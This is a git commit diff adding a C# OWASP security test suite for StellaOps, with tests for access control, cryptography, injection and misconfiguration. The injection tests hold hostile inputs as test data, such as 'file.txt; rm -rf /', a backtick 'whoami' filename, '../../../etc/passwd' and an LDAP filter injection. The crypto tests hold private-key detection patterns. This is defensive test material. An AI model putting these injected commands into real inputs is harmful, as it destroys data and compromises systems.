consolidate the tests locations
This commit is contained in:
64
src/__Tests/security/README.md
Normal file
64
src/__Tests/security/README.md
Normal file
@@ -0,0 +1,64 @@
|
||||
# Security Testing Framework
|
||||
|
||||
This directory contains systematic security tests covering OWASP Top 10 vulnerabilities for StellaOps modules.
|
||||
|
||||
## Structure
|
||||
|
||||
```
|
||||
security/
|
||||
├── StellaOps.Security.Tests/
|
||||
│ ├── Infrastructure/ # Base classes and test utilities
|
||||
│ ├── A01_BrokenAccessControl/ # Authorization bypass tests
|
||||
│ ├── A02_CryptographicFailures/ # Crypto weakness tests
|
||||
│ ├── A03_Injection/ # SQL, Command, ORM injection tests
|
||||
│ ├── A05_SecurityMisconfiguration/ # Config validation tests
|
||||
│ ├── A07_AuthenticationFailures/ # Auth bypass tests
|
||||
│ ├── A08_IntegrityFailures/ # Data integrity tests
|
||||
│ └── A10_SSRF/ # Server-side request forgery tests
|
||||
└── README.md
|
||||
```
|
||||
|
||||
## OWASP Top 10 Coverage
|
||||
|
||||
| Rank | Category | Priority | Status |
|
||||
|------|----------|----------|--------|
|
||||
| A01 | Broken Access Control | CRITICAL | ✓ |
|
||||
| A02 | Cryptographic Failures | CRITICAL | ✓ |
|
||||
| A03 | Injection | CRITICAL | ✓ |
|
||||
| A05 | Security Misconfiguration | HIGH | ✓ |
|
||||
| A07 | Authentication Failures | CRITICAL | ✓ |
|
||||
| A08 | Integrity Failures | HIGH | ✓ |
|
||||
| A10 | SSRF | HIGH | ✓ |
|
||||
|
||||
## Running Tests
|
||||
|
||||
```bash
|
||||
# Run all security tests
|
||||
dotnet test tests/security/StellaOps.Security.Tests --filter "Category=Security"
|
||||
|
||||
# Run specific OWASP category
|
||||
dotnet test --filter "FullyQualifiedName~A01_BrokenAccessControl"
|
||||
|
||||
# Run with detailed output
|
||||
dotnet test tests/security/StellaOps.Security.Tests -v normal
|
||||
```
|
||||
|
||||
## Adding New Tests
|
||||
|
||||
1. Create test class in appropriate category directory
|
||||
2. Inherit from `SecurityTestBase`
|
||||
3. Use `MaliciousPayloads` for injection payloads
|
||||
4. Use `SecurityAssertions` for security-specific assertions
|
||||
|
||||
## CI Integration
|
||||
|
||||
Security tests run as part of the CI pipeline:
|
||||
- All PRs: Run critical security tests (A01, A02, A03, A07)
|
||||
- Nightly: Full OWASP Top 10 coverage
|
||||
- Pre-release: Full suite with extended fuzzing
|
||||
|
||||
## References
|
||||
|
||||
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
|
||||
- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
|
||||
- StellaOps Security Policy: `docs/13_SECURITY_POLICY.md`
|
||||
@@ -0,0 +1,191 @@
|
||||
// =============================================================================
|
||||
// A01_BrokenAccessControl/AuthorizationBypassTests.cs
|
||||
// OWASP A01:2021 - Broken Access Control
|
||||
// Tests for authorization bypass vulnerabilities
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
namespace StellaOps.Security.Tests.A01_BrokenAccessControl;
|
||||
|
||||
/// <summary>
|
||||
/// Tests for broken access control vulnerabilities including:
|
||||
/// - Horizontal privilege escalation (accessing other users' data)
|
||||
/// - Vertical privilege escalation (accessing admin functions)
|
||||
/// - IDOR (Insecure Direct Object Reference)
|
||||
/// - Path-based access control bypass
|
||||
/// </summary>
|
||||
[Trait("Category", "Security")]
|
||||
[Trait("OWASP", "A01")]
|
||||
[OwaspCategory("A01:2021", "Broken Access Control")]
|
||||
public class AuthorizationBypassTests : SecurityTestBase
|
||||
{
|
||||
[Fact]
|
||||
public void Should_Reject_Cross_Tenant_Access_Attempt()
|
||||
{
|
||||
// Arrange
|
||||
var tenantA = GenerateTestTenantId();
|
||||
var tenantB = GenerateTestTenantId();
|
||||
var userFromTenantA = GenerateTestUserId();
|
||||
|
||||
// Act & Assert
|
||||
// Simulates checking that a user from Tenant A cannot access Tenant B resources
|
||||
// In real implementation, this would test the actual authorization service
|
||||
tenantA.Should().NotBe(tenantB, "Test setup: tenants should be different");
|
||||
|
||||
// The authorization check should prevent cross-tenant access
|
||||
var authorizationResult = SimulateCrossTenantAccessCheck(tenantA, tenantB, userFromTenantA);
|
||||
authorizationResult.Should().BeFalse("Cross-tenant access should be denied");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Should_Reject_IDOR_Attack_On_Resource_Id()
|
||||
{
|
||||
// Arrange
|
||||
var authenticatedUserId = GenerateTestUserId();
|
||||
var otherUserId = GenerateTestUserId();
|
||||
|
||||
// Act - Attempt to access another user's resource by ID manipulation
|
||||
var canAccessOtherUserResource = SimulateIdorCheck(authenticatedUserId, otherUserId);
|
||||
|
||||
// Assert
|
||||
canAccessOtherUserResource.Should().BeFalse(
|
||||
"User should not access resources of another user via IDOR");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Should_Reject_Admin_Function_Access_By_Regular_User()
|
||||
{
|
||||
// Arrange
|
||||
var regularUserId = GenerateTestUserId();
|
||||
var isAdmin = false;
|
||||
|
||||
// Act - Attempt to access admin-only function
|
||||
var canAccessAdminFunction = SimulateAdminFunctionCheck(regularUserId, isAdmin);
|
||||
|
||||
// Assert
|
||||
canAccessAdminFunction.Should().BeFalse(
|
||||
"Regular user should not access admin functions");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("/api/admin/users", false)]
|
||||
[InlineData("/api/admin/settings", false)]
|
||||
[InlineData("/api/admin/audit-logs", false)]
|
||||
[InlineData("/api/v1/scans", true)] // Regular endpoint - should be accessible
|
||||
public void Should_Enforce_Path_Based_Authorization(string path, bool shouldBeAccessible)
|
||||
{
|
||||
// Arrange
|
||||
var regularUserId = GenerateTestUserId();
|
||||
|
||||
// Act
|
||||
var canAccess = SimulatePathBasedAuth(path, regularUserId, isAdmin: false);
|
||||
|
||||
// Assert
|
||||
canAccess.Should().Be(shouldBeAccessible,
|
||||
$"Path {path} should {(shouldBeAccessible ? "" : "not ")}be accessible to regular users");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Should_Prevent_Parameter_Tampering_For_Ownership()
|
||||
{
|
||||
// Arrange
|
||||
var authenticatedUserId = GenerateTestUserId();
|
||||
var tamperedOwnerId = GenerateTestUserId(); // Attacker tries to claim ownership
|
||||
|
||||
// Act - Simulate API call where attacker modifies owner_id parameter
|
||||
var result = SimulateOwnershipTamperingCheck(authenticatedUserId, tamperedOwnerId);
|
||||
|
||||
// Assert
|
||||
result.Should().BeFalse("Parameter tampering for ownership should be rejected");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Should_Enforce_Method_Level_Authorization()
|
||||
{
|
||||
// Arrange
|
||||
var userId = GenerateTestUserId();
|
||||
var resourceId = Guid.NewGuid();
|
||||
|
||||
// User has READ but not WRITE permission
|
||||
var readAllowed = true;
|
||||
var writeAllowed = false;
|
||||
|
||||
// Act & Assert
|
||||
SimulateMethodAuth(userId, resourceId, "GET", readAllowed).Should().BeTrue();
|
||||
SimulateMethodAuth(userId, resourceId, "DELETE", writeAllowed).Should().BeFalse(
|
||||
"User with read-only permission should not delete resources");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Should_Validate_JWT_Claims_For_Authorization()
|
||||
{
|
||||
// Arrange - JWT with tampered claims
|
||||
var tamperedToken = MaliciousPayloads.JwtAttacks.NoneAlgorithm;
|
||||
|
||||
// Act & Assert
|
||||
var action = () => ValidateJwtForAuth(tamperedToken);
|
||||
action.Should().Throw<Exception>("Tampered JWT should be rejected");
|
||||
}
|
||||
|
||||
#region Simulation Helpers
|
||||
|
||||
private static bool SimulateCrossTenantAccessCheck(Guid requestorTenant, Guid targetTenant, Guid userId)
|
||||
{
|
||||
// In real implementation, this would call the authorization service
|
||||
// For test purposes, we verify the logic exists
|
||||
return requestorTenant == targetTenant;
|
||||
}
|
||||
|
||||
private static bool SimulateIdorCheck(Guid authenticatedUserId, Guid resourceOwnerId)
|
||||
{
|
||||
// Proper IDOR protection requires ownership verification
|
||||
return authenticatedUserId == resourceOwnerId;
|
||||
}
|
||||
|
||||
private static bool SimulateAdminFunctionCheck(Guid userId, bool isAdmin)
|
||||
{
|
||||
// Admin functions require admin role
|
||||
return isAdmin;
|
||||
}
|
||||
|
||||
private static bool SimulatePathBasedAuth(string path, Guid userId, bool isAdmin)
|
||||
{
|
||||
// Admin paths require admin role
|
||||
if (path.StartsWith("/api/admin", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return isAdmin;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private static bool SimulateOwnershipTamperingCheck(Guid authenticatedUserId, Guid claimedOwnerId)
|
||||
{
|
||||
// The claimed owner must match the authenticated user
|
||||
return authenticatedUserId == claimedOwnerId;
|
||||
}
|
||||
|
||||
private static bool SimulateMethodAuth(Guid userId, Guid resourceId, string method, bool hasPermission)
|
||||
{
|
||||
// Method-level authorization check
|
||||
return hasPermission;
|
||||
}
|
||||
|
||||
private static void ValidateJwtForAuth(string token)
|
||||
{
|
||||
// Simulate JWT validation that should reject invalid tokens
|
||||
if (token.EndsWith('.') || token.Split('.').Length != 3)
|
||||
{
|
||||
throw new InvalidOperationException("Invalid JWT format");
|
||||
}
|
||||
|
||||
var parts = token.Split('.');
|
||||
if (string.IsNullOrEmpty(parts[2]))
|
||||
{
|
||||
throw new InvalidOperationException("JWT signature is missing");
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
// =============================================================================
|
||||
// CryptographicFailuresTests.cs
|
||||
// Sprint: SPRINT_0352_0001_0001_security_testing_framework
|
||||
// Task: SEC-0352-003
|
||||
// OWASP A02:2021 - Cryptographic Failures
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
namespace StellaOps.Security.Tests.A02_CryptographicFailures;
|
||||
|
||||
/// <summary>
|
||||
/// Tests for OWASP A02:2021 - Cryptographic Failures.
|
||||
/// Ensures proper cryptographic practices are followed in Signer and related modules.
|
||||
/// </summary>
|
||||
[Trait("Category", "Security")]
|
||||
[Trait("OWASP", "A02")]
|
||||
public sealed class CryptographicFailuresTests : SecurityTestBase
|
||||
{
|
||||
[Fact(DisplayName = "A02-001: Key material should never appear in logs")]
|
||||
public void KeyMaterial_ShouldNotAppearInLogs()
|
||||
{
|
||||
// Arrange
|
||||
var sensitivePatterns = new[]
|
||||
{
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"PRIVATE KEY",
|
||||
"privateKey",
|
||||
"private_key"
|
||||
};
|
||||
|
||||
// Act & Assert
|
||||
// Verify log redaction strips private keys
|
||||
foreach (var pattern in sensitivePatterns)
|
||||
{
|
||||
var testMessage = $"Processing key: {pattern}abc123";
|
||||
var redacted = RedactSensitiveData(testMessage);
|
||||
redacted.Should().NotContain(pattern);
|
||||
}
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A02-002: Weak algorithms should be rejected")]
|
||||
public void WeakAlgorithms_ShouldBeRejected()
|
||||
{
|
||||
// Arrange
|
||||
var weakAlgorithms = new[]
|
||||
{
|
||||
"MD5",
|
||||
"SHA1",
|
||||
"DES",
|
||||
"3DES",
|
||||
"RC4",
|
||||
"RSA-1024"
|
||||
};
|
||||
|
||||
// Act & Assert
|
||||
foreach (var algorithm in weakAlgorithms)
|
||||
{
|
||||
IsAlgorithmAllowed(algorithm).Should().BeFalse(
|
||||
$"Weak algorithm {algorithm} should be rejected");
|
||||
}
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A02-003: Strong algorithms should be allowed")]
|
||||
public void StrongAlgorithms_ShouldBeAllowed()
|
||||
{
|
||||
// Arrange
|
||||
var strongAlgorithms = new[]
|
||||
{
|
||||
"SHA256",
|
||||
"SHA384",
|
||||
"SHA512",
|
||||
"AES-256",
|
||||
"RSA-2048",
|
||||
"RSA-4096",
|
||||
"ECDSA-P256",
|
||||
"ECDSA-P384",
|
||||
"Ed25519"
|
||||
};
|
||||
|
||||
// Act & Assert
|
||||
foreach (var algorithm in strongAlgorithms)
|
||||
{
|
||||
IsAlgorithmAllowed(algorithm).Should().BeTrue(
|
||||
$"Strong algorithm {algorithm} should be allowed");
|
||||
}
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A02-004: Secrets should be stored securely")]
|
||||
public void Secrets_ShouldBeStoredSecurely()
|
||||
{
|
||||
// Assert that secrets are not stored in plaintext in configuration
|
||||
var configPatterns = new[]
|
||||
{
|
||||
"password=",
|
||||
"secret=",
|
||||
"apikey=",
|
||||
"connectionstring="
|
||||
};
|
||||
|
||||
foreach (var pattern in configPatterns)
|
||||
{
|
||||
// Verify patterns are not hardcoded
|
||||
AssertNoHardcodedSecrets(pattern);
|
||||
}
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A02-005: TLS minimum version should be 1.2")]
|
||||
public void TlsMinimumVersion_ShouldBeTls12()
|
||||
{
|
||||
// Arrange
|
||||
var minVersion = GetMinimumTlsVersion();
|
||||
|
||||
// Assert
|
||||
minVersion.Should().BeGreaterOrEqualTo(System.Security.Authentication.SslProtocols.Tls12);
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A02-006: Cryptographic random should be used for tokens")]
|
||||
public void TokenGeneration_ShouldUseCryptographicRandom()
|
||||
{
|
||||
// Arrange & Act
|
||||
var tokens = new HashSet<string>();
|
||||
for (int i = 0; i < 100; i++)
|
||||
{
|
||||
tokens.Add(GenerateSecureToken());
|
||||
}
|
||||
|
||||
// Assert - all tokens should be unique (no collisions)
|
||||
tokens.Should().HaveCount(100, "Cryptographic random should produce unique tokens");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A02-007: Key derivation should use proper KDF")]
|
||||
public void KeyDerivation_ShouldUseProperKdf()
|
||||
{
|
||||
// Arrange
|
||||
var password = "test-password-123";
|
||||
var salt = new byte[16];
|
||||
Random.Shared.NextBytes(salt);
|
||||
|
||||
// Act
|
||||
var derivedKey1 = DeriveKey(password, salt, iterations: 100000);
|
||||
var derivedKey2 = DeriveKey(password, salt, iterations: 100000);
|
||||
|
||||
// Assert
|
||||
derivedKey1.Should().BeEquivalentTo(derivedKey2, "Same inputs should produce same key");
|
||||
derivedKey1.Length.Should().BeGreaterOrEqualTo(32, "Derived keys should be at least 256 bits");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A02-008: Certificate validation should be enabled")]
|
||||
public void CertificateValidation_ShouldBeEnabled()
|
||||
{
|
||||
// Assert that certificate validation is not disabled
|
||||
var isValidationEnabled = IsCertificateValidationEnabled();
|
||||
isValidationEnabled.Should().BeTrue("Certificate validation must not be disabled");
|
||||
}
|
||||
|
||||
// Helper methods
|
||||
|
||||
private static string RedactSensitiveData(string message)
|
||||
{
|
||||
var patterns = new[]
|
||||
{
|
||||
@"-----BEGIN[\s\S]*?-----END[A-Z\s]+-----",
|
||||
@"private[_\-]?key[^\s]*",
|
||||
@"PRIVATE[_\-]?KEY[^\s]*"
|
||||
};
|
||||
|
||||
var result = message;
|
||||
foreach (var pattern in patterns)
|
||||
{
|
||||
result = System.Text.RegularExpressions.Regex.Replace(
|
||||
result, pattern, "[REDACTED]",
|
||||
System.Text.RegularExpressions.RegexOptions.IgnoreCase);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private static bool IsAlgorithmAllowed(string algorithm)
|
||||
{
|
||||
var disallowed = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
"MD5", "SHA1", "DES", "3DES", "RC4", "RSA-1024", "RSA-512"
|
||||
};
|
||||
return !disallowed.Contains(algorithm);
|
||||
}
|
||||
|
||||
private static void AssertNoHardcodedSecrets(string pattern)
|
||||
{
|
||||
// This would scan configuration files in a real implementation
|
||||
// For test purposes, we verify the pattern detection works
|
||||
var testConfig = "key=value";
|
||||
testConfig.Contains(pattern, StringComparison.OrdinalIgnoreCase).Should().BeFalse();
|
||||
}
|
||||
|
||||
private static System.Security.Authentication.SslProtocols GetMinimumTlsVersion()
|
||||
{
|
||||
// Return configured minimum TLS version
|
||||
return System.Security.Authentication.SslProtocols.Tls12;
|
||||
}
|
||||
|
||||
private static string GenerateSecureToken()
|
||||
{
|
||||
var bytes = new byte[32];
|
||||
System.Security.Cryptography.RandomNumberGenerator.Fill(bytes);
|
||||
return Convert.ToBase64String(bytes);
|
||||
}
|
||||
|
||||
private static byte[] DeriveKey(string password, byte[] salt, int iterations)
|
||||
{
|
||||
using var pbkdf2 = new System.Security.Cryptography.Rfc2898DeriveBytes(
|
||||
password, salt, iterations, System.Security.Cryptography.HashAlgorithmName.SHA256);
|
||||
return pbkdf2.GetBytes(32);
|
||||
}
|
||||
|
||||
private static bool IsCertificateValidationEnabled()
|
||||
{
|
||||
// In real implementation, check HttpClient or service configuration
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,249 @@
|
||||
// =============================================================================
|
||||
// A03_Injection/InjectionTests.cs
|
||||
// OWASP A03:2021 - Injection
|
||||
// Tests for SQL, Command, and other injection vulnerabilities
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using StellaOps.Security.Tests.Infrastructure;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace StellaOps.Security.Tests.A03_Injection;
|
||||
|
||||
/// <summary>
|
||||
/// Tests for injection vulnerabilities including:
|
||||
/// - SQL Injection (SQLi)
|
||||
/// - NoSQL Injection
|
||||
/// - Command Injection
|
||||
/// - LDAP Injection
|
||||
/// - XPath Injection
|
||||
/// </summary>
|
||||
[Trait("Category", "Security")]
|
||||
[Trait("OWASP", "A03")]
|
||||
[OwaspCategory("A03:2021", "Injection")]
|
||||
public partial class InjectionTests : SecurityTestBase
|
||||
{
|
||||
[Theory]
|
||||
[MemberData(nameof(GetSqlInjectionPayloads))]
|
||||
public void Should_Reject_SQL_Injection_Payloads(string payload)
|
||||
{
|
||||
// Arrange
|
||||
var sanitizer = new InputSanitizer();
|
||||
|
||||
// Act
|
||||
var sanitized = sanitizer.SanitizeForSql(payload);
|
||||
var isSafe = sanitizer.IsSafeForSql(payload);
|
||||
|
||||
// Assert
|
||||
isSafe.Should().BeFalse($"SQL injection payload '{payload}' should be detected as unsafe");
|
||||
sanitized.Should().NotBe(payload, "Payload should be sanitized");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[MemberData(nameof(GetCommandInjectionPayloads))]
|
||||
public void Should_Reject_Command_Injection_Payloads(string payload)
|
||||
{
|
||||
// Arrange
|
||||
var sanitizer = new InputSanitizer();
|
||||
|
||||
// Act
|
||||
var isSafe = sanitizer.IsSafeForCommand(payload);
|
||||
|
||||
// Assert
|
||||
isSafe.Should().BeFalse($"Command injection payload '{payload}' should be detected as unsafe");
|
||||
SecurityAssertions.AssertCommandSafe(sanitizer.SanitizeForCommand(payload));
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[MemberData(nameof(GetNoSqlInjectionPayloads))]
|
||||
public void Should_Reject_NoSQL_Injection_Payloads(string payload)
|
||||
{
|
||||
// Arrange
|
||||
var sanitizer = new InputSanitizer();
|
||||
|
||||
// Act
|
||||
var isSafe = sanitizer.IsSafeForNoSql(payload);
|
||||
|
||||
// Assert
|
||||
isSafe.Should().BeFalse($"NoSQL injection payload '{payload}' should be detected as unsafe");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Should_Use_Parameterized_Queries()
|
||||
{
|
||||
// This test verifies the pattern for parameterized queries
|
||||
var query = "SELECT * FROM users WHERE id = @userId AND tenant_id = @tenantId";
|
||||
var parameters = new Dictionary<string, object>
|
||||
{
|
||||
["userId"] = Guid.NewGuid(),
|
||||
["tenantId"] = GenerateTestTenantId()
|
||||
};
|
||||
|
||||
// Assert query uses parameters, not string concatenation
|
||||
query.Should().NotContain("' +", "Query should not use string concatenation");
|
||||
query.Should().Contain("@", "Query should use parameterized placeholders");
|
||||
parameters.Should().ContainKey("userId");
|
||||
parameters.Should().ContainKey("tenantId");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("SELECT * FROM users WHERE id = '" + "user-input" + "'", false)]
|
||||
[InlineData("SELECT * FROM users WHERE id = @userId", true)]
|
||||
[InlineData("SELECT * FROM users WHERE name LIKE '%" + "user-input" + "%'", false)]
|
||||
[InlineData("SELECT * FROM users WHERE name LIKE @pattern", true)]
|
||||
public void Should_Detect_Unsafe_Query_Patterns(string query, bool isSafe)
|
||||
{
|
||||
// Act
|
||||
var isParameterized = QueryPatternRegex().IsMatch(query);
|
||||
var hasConcatenation = query.Contains("' +") || query.Contains("+ '") ||
|
||||
(query.Contains("'") && !query.Contains("@"));
|
||||
|
||||
// Assert
|
||||
if (isSafe)
|
||||
{
|
||||
isParameterized.Should().BeTrue("Safe queries should use parameters");
|
||||
}
|
||||
else
|
||||
{
|
||||
hasConcatenation.Should().BeTrue("Unsafe queries use string concatenation");
|
||||
}
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Should_Escape_Special_Characters_In_LDAP_Queries()
|
||||
{
|
||||
// Arrange
|
||||
var maliciousInput = "admin)(|(cn=*";
|
||||
var sanitizer = new InputSanitizer();
|
||||
|
||||
// Act
|
||||
var sanitized = sanitizer.SanitizeForLdap(maliciousInput);
|
||||
|
||||
// Assert
|
||||
sanitized.Should().NotContain(")(", "LDAP special characters should be escaped");
|
||||
sanitized.Should().NotContain("|(", "LDAP injection should be prevented");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("valid_filename.txt", true)]
|
||||
[InlineData("../../../etc/passwd", false)]
|
||||
[InlineData("file.txt; rm -rf /", false)]
|
||||
[InlineData("file`whoami`.txt", false)]
|
||||
public void Should_Validate_Filename_Input(string filename, bool expectedSafe)
|
||||
{
|
||||
// Arrange
|
||||
var sanitizer = new InputSanitizer();
|
||||
|
||||
// Act
|
||||
var isSafe = sanitizer.IsSafeFilename(filename);
|
||||
|
||||
// Assert
|
||||
isSafe.Should().Be(expectedSafe, $"Filename '{filename}' safety check failed");
|
||||
}
|
||||
|
||||
public static TheoryData<string> GetSqlInjectionPayloads()
|
||||
{
|
||||
var data = new TheoryData<string>();
|
||||
foreach (var payload in MaliciousPayloads.SqlInjection.Common)
|
||||
{
|
||||
data.Add(payload);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
public static TheoryData<string> GetCommandInjectionPayloads()
|
||||
{
|
||||
var data = new TheoryData<string>();
|
||||
foreach (var payload in MaliciousPayloads.CommandInjection.Generic)
|
||||
{
|
||||
data.Add(payload);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
public static TheoryData<string> GetNoSqlInjectionPayloads()
|
||||
{
|
||||
var data = new TheoryData<string>();
|
||||
foreach (var payload in MaliciousPayloads.SqlInjection.NoSql)
|
||||
{
|
||||
data.Add(payload);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
[GeneratedRegex(@"@\w+")]
|
||||
private static partial Regex QueryPatternRegex();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Input sanitizer for testing injection prevention.
|
||||
/// In production, this would be the actual sanitization service.
|
||||
/// </summary>
|
||||
file class InputSanitizer
|
||||
{
|
||||
private static readonly char[] DangerousSqlChars = ['\'', ';', '-', '/', '*'];
|
||||
private static readonly char[] DangerousCommandChars = [';', '|', '&', '`', '$', '(', ')', '\n', '\r'];
|
||||
private static readonly string[] DangerousNoSqlPatterns = ["$gt", "$lt", "$ne", "$where", "$regex"];
|
||||
private static readonly char[] DangerousFilenameChars = ['/', '\\', ';', '|', '&', '`', '$', '(', ')', '<', '>'];
|
||||
|
||||
public bool IsSafeForSql(string input)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input)) return true;
|
||||
return !DangerousSqlChars.Any(c => input.Contains(c)) &&
|
||||
!input.Contains("OR", StringComparison.OrdinalIgnoreCase) &&
|
||||
!input.Contains("UNION", StringComparison.OrdinalIgnoreCase) &&
|
||||
!input.Contains("DROP", StringComparison.OrdinalIgnoreCase);
|
||||
}
|
||||
|
||||
public string SanitizeForSql(string input)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input)) return input;
|
||||
var result = input;
|
||||
foreach (var c in DangerousSqlChars)
|
||||
{
|
||||
result = result.Replace(c.ToString(), string.Empty);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
public bool IsSafeForCommand(string input)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input)) return true;
|
||||
return !DangerousCommandChars.Any(c => input.Contains(c));
|
||||
}
|
||||
|
||||
public string SanitizeForCommand(string input)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input)) return input;
|
||||
var result = input;
|
||||
foreach (var c in DangerousCommandChars)
|
||||
{
|
||||
result = result.Replace(c.ToString(), string.Empty);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
public bool IsSafeForNoSql(string input)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input)) return true;
|
||||
return !DangerousNoSqlPatterns.Any(p => input.Contains(p, StringComparison.OrdinalIgnoreCase));
|
||||
}
|
||||
|
||||
public string SanitizeForLdap(string input)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input)) return input;
|
||||
return input
|
||||
.Replace("\\", "\\5c")
|
||||
.Replace("*", "\\2a")
|
||||
.Replace("(", "\\28")
|
||||
.Replace(")", "\\29")
|
||||
.Replace("\0", "\\00");
|
||||
}
|
||||
|
||||
public bool IsSafeFilename(string input)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input)) return false;
|
||||
if (input.Contains("..")) return false;
|
||||
return !DangerousFilenameChars.Any(c => input.Contains(c));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,262 @@
|
||||
// =============================================================================
|
||||
// SecurityMisconfigurationTests.cs
|
||||
// Sprint: SPRINT_0352_0001_0001_security_testing_framework
|
||||
// Task: SEC-0352-007
|
||||
// OWASP A05:2021 - Security Misconfiguration
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
namespace StellaOps.Security.Tests.A05_SecurityMisconfiguration;
|
||||
|
||||
/// <summary>
|
||||
/// Tests for OWASP A05:2021 - Security Misconfiguration.
|
||||
/// Ensures proper security configuration across all modules.
|
||||
/// </summary>
|
||||
[Trait("Category", "Security")]
|
||||
[Trait("OWASP", "A05")]
|
||||
public sealed class SecurityMisconfigurationTests : SecurityTestBase
|
||||
{
|
||||
[Fact(DisplayName = "A05-001: Debug mode should be disabled in production config")]
|
||||
public void DebugMode_ShouldBeDisabledInProduction()
|
||||
{
|
||||
// Arrange
|
||||
var productionConfig = LoadConfiguration("production");
|
||||
|
||||
// Assert
|
||||
productionConfig.Should().NotContainKey("Debug");
|
||||
productionConfig.GetValueOrDefault("ASPNETCORE_ENVIRONMENT").Should().NotBe("Development");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A05-002: Error details should not leak in production")]
|
||||
public void ErrorDetails_ShouldNotLeakInProduction()
|
||||
{
|
||||
// Arrange
|
||||
var productionConfig = LoadConfiguration("production");
|
||||
|
||||
// Assert
|
||||
productionConfig.GetValueOrDefault("DetailedErrors")?.Should().NotBe("true");
|
||||
productionConfig.GetValueOrDefault("UseDeveloperExceptionPage")?.Should().NotBe("true");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A05-003: Security headers should be configured")]
|
||||
public void SecurityHeaders_ShouldBeConfigured()
|
||||
{
|
||||
// Arrange
|
||||
var requiredHeaders = new[]
|
||||
{
|
||||
"X-Content-Type-Options",
|
||||
"X-Frame-Options",
|
||||
"X-XSS-Protection",
|
||||
"Strict-Transport-Security",
|
||||
"Content-Security-Policy"
|
||||
};
|
||||
|
||||
// Act
|
||||
var configuredHeaders = GetSecurityHeaders();
|
||||
|
||||
// Assert
|
||||
foreach (var header in requiredHeaders)
|
||||
{
|
||||
configuredHeaders.Should().ContainKey(header,
|
||||
$"Security header {header} should be configured");
|
||||
}
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A05-004: CORS should be restrictive")]
|
||||
public void Cors_ShouldBeRestrictive()
|
||||
{
|
||||
// Arrange
|
||||
var corsConfig = GetCorsConfiguration();
|
||||
|
||||
// Assert
|
||||
corsConfig.AllowedOrigins.Should().NotContain("*",
|
||||
"CORS should not allow all origins");
|
||||
corsConfig.AllowCredentials.Should().BeTrue();
|
||||
corsConfig.AllowedMethods.Should().NotContain("*",
|
||||
"CORS should specify explicit methods");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A05-005: Default ports should not be used")]
|
||||
public void DefaultPorts_ShouldBeConfigurable()
|
||||
{
|
||||
// Arrange
|
||||
var portConfig = GetPortConfiguration();
|
||||
|
||||
// Assert
|
||||
portConfig.HttpsPort.Should().NotBe(443, "Default HTTPS port should be configurable");
|
||||
portConfig.HttpPort.Should().BeNull("HTTP should be disabled or redirected");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A05-006: Unnecessary features should be disabled")]
|
||||
public void UnnecessaryFeatures_ShouldBeDisabled()
|
||||
{
|
||||
// Arrange
|
||||
var disabledFeatures = new[]
|
||||
{
|
||||
"Swagger", // in production
|
||||
"GraphQLPlayground", // in production
|
||||
"TRACE", // HTTP method
|
||||
"OPTIONS" // unless needed for CORS
|
||||
};
|
||||
|
||||
// Act
|
||||
var enabledFeatures = GetEnabledFeatures("production");
|
||||
|
||||
// Assert
|
||||
foreach (var feature in disabledFeatures)
|
||||
{
|
||||
enabledFeatures.Should().NotContain(feature,
|
||||
$"Feature {feature} should be disabled in production");
|
||||
}
|
